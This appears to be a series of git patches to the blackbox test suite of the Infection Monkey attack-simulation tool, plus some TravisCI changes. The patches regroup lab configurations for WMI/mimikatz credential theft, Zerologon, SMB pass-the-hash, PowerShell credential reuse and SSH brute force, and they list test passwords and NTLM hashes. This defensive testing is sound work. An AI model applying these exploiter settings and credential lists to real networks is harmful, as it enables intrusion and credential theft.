a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_b.py +++ b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_b.py @@ -7,7 +7,7 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp class Depth1B(ConfigTemplate): config_values = copy(BaseTemplate.config_values) # Tests: - # WMI + credential stealing + # WMI password login and mimikatz credential stealing (10.2.2.14 and 10.2.2.15) # Zerologon config_values.update( { diff --git a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_3_a.py b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_3_a.py index 3f131694a..1a8ba8b5d 100644 --- a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_3_a.py +++ b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_3_a.py @@ -8,9 +8,9 @@ class Depth3A(ConfigTemplate): config_values = copy(BaseTemplate.config_values) # Tests: - # Powershell - # Tunneling (SSH brute force) - # WMI mimikatz password stealing + # Powershell (10.2.3.45, 10.2.3.46, 10.2.3.47, 10.2.3.48) + # Tunneling (SSH brute force) (10.2.2.9, 10.2.1.10, 10.2.0.12, 10.2.0.11) + # WMI pass the hash (10.2.2.15) config_values.update( { "basic.exploiters.exploiter_classes": [ From 76ba33a7501d2c41a2b37b60caf20886f6530f21 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 13 Apr 2022 12:32:21 +0000 Subject: [PATCH 1100/1110] BB: Fix a WMI bug in configuration Depth 3 a should test PTH, because mimikatz is already being tested in depth 1 a. --- .../blackbox/config_templates/grouped/depth_3_a.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_3_a.py b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_3_a.py index 1a8ba8b5d..ec4f91f26 100644 --- a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_3_a.py +++ b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_3_a.py @@ -34,12 +34,13 @@ class Depth3A(ConfigTemplate): "3Q=(Ge(+&w]*", "`))jU7L(w}", "t67TC5ZDmz", - "Ivrrw5zEzs", ], "basic_network.scope.depth": 3, "internal.general.keep_tunnel_open_time": 20, "basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"], "internal.network.tcp_scanner.HTTP_PORTS": [], - "internal.exploits.exploit_ntlm_hash_list": ["d0f0132b308a0c4e5d1029cc06f48692"], + "internal.exploits.exploit_ntlm_hash_list": ["d0f0132b308a0c4e5d1029cc06f48692", + "5da0889ea2081aa79f6852294cba4a5e", + "50c9987a6bf1ac59398df9f911122c9b"], } ) From b20de39ce08b6256fa4e3110c0dec5b18d495970 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 13 Apr 2022 13:10:02 +0000 Subject: [PATCH 1101/1110] BB: Split depth_1_b into separate tests, add SMB_PTH --- .../config_templates/grouped/depth_1_a.py | 1 - .../config_templates/grouped/depth_1_b.py | 22 --------------- envs/monkey_zoo/blackbox/test_blackbox.py | 28 ++++++++++++++----- .../utils/config_generation_script.py | 7 +++-- 4 files changed, 26 insertions(+), 32 deletions(-) delete mode 100644 envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_b.py diff --git a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py index 1895f2bbe..842e33a2d 100644 --- a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py +++ b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py @@ -6,7 +6,6 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp class Depth1A(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - # TODO ADD SMB PTH machine # Tests: # Hadoop (10.2.2.2, 10.2.2.3) # Log4shell (10.2.3.55, 10.2.3.56, 10.2.3.49, 10.2.3.50, 10.2.3.51, 10.2.3.52) diff --git a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_b.py b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_b.py deleted file mode 100644 index 3df42389a..000000000 --- a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_b.py +++ /dev/null @@ -1,22 +0,0 @@ -from copy import copy - -from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate -from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate - - -class Depth1B(ConfigTemplate): - config_values = copy(BaseTemplate.config_values) - # Tests: - # WMI password login and mimikatz credential stealing (10.2.2.14 and 10.2.2.15) - # Zerologon - config_values.update( - { - "basic.exploiters.exploiter_classes": ["WmiExploiter", "ZerologonExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.25", "10.2.2.14", "10.2.2.15"], - "basic.credentials.exploit_password_list": ["Ivrrw5zEzs"], - "basic.credentials.exploit_user_list": ["m0nk3y"], - "monkey.system_info.system_info_collector_classes": [ - "MimikatzCollector", - ], - } - ) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index fec5664b1..fcf723c8e 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -9,9 +9,11 @@ from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import Communicat from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate from envs.monkey_zoo.blackbox.config_templates.grouped.depth_1_a import Depth1A -from envs.monkey_zoo.blackbox.config_templates.grouped.depth_1_b import Depth1B from envs.monkey_zoo.blackbox.config_templates.grouped.depth_2_a import Depth2A from envs.monkey_zoo.blackbox.config_templates.grouped.depth_3_a import Depth3A +from envs.monkey_zoo.blackbox.config_templates.single_tests.smb_pth import SmbPth +from envs.monkey_zoo.blackbox.config_templates.single_tests.wmi_mimikatz import WmiMimikatz +from envs.monkey_zoo.blackbox.config_templates.single_tests.zerologon import Zerologon from envs.monkey_zoo.blackbox.gcp_test_machine_list import GCP_TEST_MACHINE_LIST from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient @@ -108,14 +110,21 @@ class TestMonkeyBlackbox: def test_depth_1_a(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, Depth1A, "Depth1A test suite") - def test_depth_1_b(self, island_client): + def test_depth_2_a(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Depth2A, "Depth2A test suite") + + def test_depth_3_a(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Depth3A, "Depth4A test suite") + + # Not grouped because it's slow + def test_zerologon_exploiter(self, island_client): test_name = "Zerologon_exploiter" expected_creds = [ "Administrator", "aad3b435b51404eeaad3b435b51404ee", "2864b62ea4496934a5d6e86f50b834a5", ] - raw_config = IslandConfigParser.get_raw_config(Depth1B, island_client) + raw_config = IslandConfigParser.get_raw_config(Zerologon, island_client) zero_logon_analyzer = ZerologonAnalyzer(island_client, expected_creds) communication_analyzer = CommunicationAnalyzer( island_client, IslandConfigParser.get_ips_of_targets(raw_config) @@ -132,8 +141,13 @@ class TestMonkeyBlackbox: log_handler=log_handler, ).run() - def test_depth_2_a(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Depth2A, "Depth2A test suite") + # Not grouped because conflicts with SMB. + # Consider grouping when more depth 1 exploiters collide with group depth_1_a + def test_wmi_and_mimikatz_exploiters(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, WmiMimikatz, "WMI_exploiter,_mimikatz" + ) - def test_depth_3_a(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Depth3A, "Depth4A test suite") + # Not grouped because it's depth 1 but conflicts with SMB exploiter in group depth_1_a + def test_smb_pth(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, SmbPth, "SMB_PTH") diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py index 320ae8c57..2d799b275 100644 --- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -4,8 +4,11 @@ from typing import Type from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate from envs.monkey_zoo.blackbox.config_templates.grouped.depth_1_a import Depth1A -from envs.monkey_zoo.blackbox.config_templates.grouped.depth_1_b import Depth1B +from envs.monkey_zoo.blackbox.config_templates.grouped.depth_2_a import Depth2A from envs.monkey_zoo.blackbox.config_templates.grouped.depth_3_a import Depth3A +from envs.monkey_zoo.blackbox.config_templates.single_tests.smb_pth import SmbPth +from envs.monkey_zoo.blackbox.config_templates.single_tests.wmi_mimikatz import WmiMimikatz +from envs.monkey_zoo.blackbox.config_templates.single_tests.zerologon import Zerologon from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient @@ -23,7 +26,7 @@ args = parser.parse_args() island_client = MonkeyIslandClient(args.island_ip) -CONFIG_TEMPLATES = [Depth1A, Depth1B, Depth3A] +CONFIG_TEMPLATES = [Depth1A, Depth2A, Depth3A, Zerologon, SmbPth, WmiMimikatz] def generate_templates(): From 43d38d90e048d8e4f03577152a47bb3d75492b16 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 13 Apr 2022 14:21:23 +0000 Subject: [PATCH 1102/1110] BB: Extract powershell cred re-use into a separate test Credential re-use only applies to windows island, that's why it's separate --- .../blackbox/config_templates/grouped/depth_1_a.py | 3 --- envs/monkey_zoo/blackbox/test_blackbox.py | 12 ++++++++++++ .../blackbox/utils/config_generation_script.py | 14 ++++++++++++-- 3 files changed, 24 insertions(+), 5 deletions(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py index 842e33a2d..b09123566 100644 --- a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py +++ b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py @@ -11,7 +11,6 @@ class Depth1A(ConfigTemplate): # Log4shell (10.2.3.55, 10.2.3.56, 10.2.3.49, 10.2.3.50, 10.2.3.51, 10.2.3.52) # MSSQL (10.2.2.16) # SMB mimikatz password stealing and brute force (10.2.2.14 and 10.2.2.15) - # Powershell credential reuse (powershell login with empty password) (10.2.3.46) config_values.update( { "basic.exploiters.exploiter_classes": [ @@ -20,7 +19,6 @@ class Depth1A(ConfigTemplate): "MSSQLExploiter", "SmbExploiter", "SSHExploiter", - "PowerShellExploiter", ], "basic_network.scope.subnet_scan_list": [ "10.2.2.2", @@ -34,7 +32,6 @@ class Depth1A(ConfigTemplate): "10.2.2.16", "10.2.2.14", "10.2.2.15", - "10.2.3.46", ], "basic.credentials.exploit_password_list": ["Ivrrw5zEzs", "Xk8VDTsC"], "basic.credentials.exploit_user_list": ["m0nk3y"], diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index fcf723c8e..c90c15597 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -11,6 +11,9 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp from envs.monkey_zoo.blackbox.config_templates.grouped.depth_1_a import Depth1A from envs.monkey_zoo.blackbox.config_templates.grouped.depth_2_a import Depth2A from envs.monkey_zoo.blackbox.config_templates.grouped.depth_3_a import Depth3A +from envs.monkey_zoo.blackbox.config_templates.single_tests.powershell_credentials_reuse import ( + PowerShellCredentialsReuse, +) from envs.monkey_zoo.blackbox.config_templates.single_tests.smb_pth import SmbPth from envs.monkey_zoo.blackbox.config_templates.single_tests.wmi_mimikatz import WmiMimikatz from envs.monkey_zoo.blackbox.config_templates.single_tests.zerologon import Zerologon @@ -116,6 +119,15 @@ class TestMonkeyBlackbox: def test_depth_3_a(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, Depth3A, "Depth4A test suite") + # Not grouped because can only be ran on windows + @pytest.mark.skip_powershell_reuse + def test_powershell_exploiter_credentials_reuse(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, + PowerShellCredentialsReuse, + "PowerShell_Remoting_exploiter_credentials_reuse", + ) + # Not grouped because it's slow def test_zerologon_exploiter(self, island_client): test_name = "Zerologon_exploiter" diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py index 2d799b275..3a5f06c50 100644 --- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -6,6 +6,9 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp from envs.monkey_zoo.blackbox.config_templates.grouped.depth_1_a import Depth1A from envs.monkey_zoo.blackbox.config_templates.grouped.depth_2_a import Depth2A from envs.monkey_zoo.blackbox.config_templates.grouped.depth_3_a import Depth3A +from envs.monkey_zoo.blackbox.config_templates.single_tests.powershell_credentials_reuse import ( + PowerShellCredentialsReuse, +) from envs.monkey_zoo.blackbox.config_templates.single_tests.smb_pth import SmbPth from envs.monkey_zoo.blackbox.config_templates.single_tests.wmi_mimikatz import WmiMimikatz from envs.monkey_zoo.blackbox.config_templates.single_tests.zerologon import Zerologon @@ -25,8 +28,15 @@ parser.add_argument( args = parser.parse_args() island_client = MonkeyIslandClient(args.island_ip) - -CONFIG_TEMPLATES = [Depth1A, Depth2A, Depth3A, Zerologon, SmbPth, WmiMimikatz] +CONFIG_TEMPLATES = [ + Depth1A, + Depth2A, + Depth3A, + Zerologon, + SmbPth, + WmiMimikatz, + PowerShellCredentialsReuse, +] def generate_templates(): From 03433a8d751345754e3896fffbd0a44ddf9e39df Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 13 Apr 2022 11:48:32 -0400 Subject: [PATCH 1103/1110] BB: Format depth_3_a.py with Black --- .../blackbox/config_templates/grouped/depth_3_a.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_3_a.py b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_3_a.py index ec4f91f26..6d5261d95 100644 --- a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_3_a.py +++ b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_3_a.py @@ -39,8 +39,10 @@ class Depth3A(ConfigTemplate): "internal.general.keep_tunnel_open_time": 20, "basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"], "internal.network.tcp_scanner.HTTP_PORTS": [], - "internal.exploits.exploit_ntlm_hash_list": ["d0f0132b308a0c4e5d1029cc06f48692", - "5da0889ea2081aa79f6852294cba4a5e", - "50c9987a6bf1ac59398df9f911122c9b"], + "internal.exploits.exploit_ntlm_hash_list": [ + "d0f0132b308a0c4e5d1029cc06f48692", + "5da0889ea2081aa79f6852294cba4a5e", + "50c9987a6bf1ac59398df9f911122c9b", + ], } ) From a1c1a00f5f5dbb7f8fcddf1f3bf6a19c90e437ba Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 13 Apr 2022 12:15:55 -0400 Subject: [PATCH 1104/1110] Project: Run pytest in parallel on TravisCI --- .travis.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index f2f2e2fe5..8db807fe6 100644 --- a/.travis.yml +++ b/.travis.yml @@ -65,7 +65,8 @@ script: ## Run unit tests and generate coverage data - cd monkey # This is our source dir -- python -m pytest --cov=. # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. +- pip install pytest-xdist +- python -m pytest -n auto --cov=. # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. # Check JS code. The npm install must happen AFTER the flake8 because the node_modules folder will cause a lot of errors. - cd monkey_island/cc/ui From 3478d17755fb4ab81d799c41f2ca846bb3b4d23e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 13 Apr 2022 12:20:48 -0400 Subject: [PATCH 1105/1110] Project: Parallelize pynacl build in TravisCI --- .travis.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 8db807fe6..7de7ad260 100644 --- a/.travis.yml +++ b/.travis.yml @@ -7,7 +7,7 @@ group: travis_latest language: python env: - - PIP_CACHE_DIR=$HOME/.cache/pip PIPENV_CACHE_DIR=$HOME/.cache/pipenv + - PIP_CACHE_DIR=$HOME/.cache/pip PIPENV_CACHE_DIR=$HOME/.cache/pipenv LIBSODIUM_MAKE_ARGS=-j4 cache: - pip @@ -24,6 +24,7 @@ os: linux install: # Python +- nproc - pip install pipenv --upgrade # Install island and monkey requirements as they are needed by UT's - pushd monkey/monkey_island From d1d7495c49887375dcc195ee2114971bf6e099a3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 13 Apr 2022 12:33:59 -0400 Subject: [PATCH 1106/1110] Project: Add cores to TravisCI build --- .travis.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 7de7ad260..53fe6cca7 100644 --- a/.travis.yml +++ b/.travis.yml @@ -7,7 +7,7 @@ group: travis_latest language: python env: - - PIP_CACHE_DIR=$HOME/.cache/pip PIPENV_CACHE_DIR=$HOME/.cache/pipenv LIBSODIUM_MAKE_ARGS=-j4 + - PIP_CACHE_DIR=$HOME/.cache/pip PIPENV_CACHE_DIR=$HOME/.cache/pipenv LIBSODIUM_MAKE_ARGS=-j8 cache: - pip @@ -20,6 +20,8 @@ python: - 3.7 os: linux +vm: + size: x-large install: From ffec20643510032ea4e74599352ba5a50a8dfc48 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 13 Apr 2022 12:41:25 -0400 Subject: [PATCH 1107/1110] Project: Use "pip: true" in TravisCI cache section --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 53fe6cca7..a9683e48b 100644 --- a/.travis.yml +++ b/.travis.yml @@ -10,7 +10,7 @@ env: - PIP_CACHE_DIR=$HOME/.cache/pip PIPENV_CACHE_DIR=$HOME/.cache/pipenv LIBSODIUM_MAKE_ARGS=-j8 cache: - - pip + - pip: true - directories: - "$HOME/.npm" - $PIP_CACHE_DIR From 9ae35beba9a4d446b6dd28b147aa5f0dc25fc734 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 13 Apr 2022 12:42:19 -0400 Subject: [PATCH 1108/1110] Project: Add npm caching strategy to TravisCI --- .travis.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.travis.yml b/.travis.yml index a9683e48b..fb2a36edc 100644 --- a/.travis.yml +++ b/.travis.yml @@ -11,6 +11,7 @@ env: cache: - pip: true + - npm: true - directories: - "$HOME/.npm" - $PIP_CACHE_DIR From 3240e32e939326a00636175749d13340df38a4c9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 13 Apr 2022 12:43:05 -0400 Subject: [PATCH 1109/1110] Project: Upgrade NodeJS from 12 -> 16 in TravisCI --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index fb2a36edc..f1bf98865 100644 --- a/.travis.yml +++ b/.travis.yml @@ -41,7 +41,7 @@ install: - node --version - npm --version - nvm --version -- nvm install 12 +- nvm install 16 - nvm use node - npm i -g eslint - node --version From 3ebab643bc55fec4c23b9f093166f791cf043ae0 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 14 Apr 2022 15:06:58 +0300 Subject: [PATCH 1110/1110] BB: Small typo fix --- envs/monkey_zoo/blackbox/test_blackbox.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index c90c15597..0a234e991 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -117,7 +117,7 @@ class TestMonkeyBlackbox: TestMonkeyBlackbox.run_exploitation_test(island_client, Depth2A, "Depth2A test suite") def test_depth_3_a(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Depth3A, "Depth4A test suite") + TestMonkeyBlackbox.run_exploitation_test(island_client, Depth3A, "Depth3A test suite") # Not grouped because can only be ran on windows @pytest.mark.skip_powershell_reuse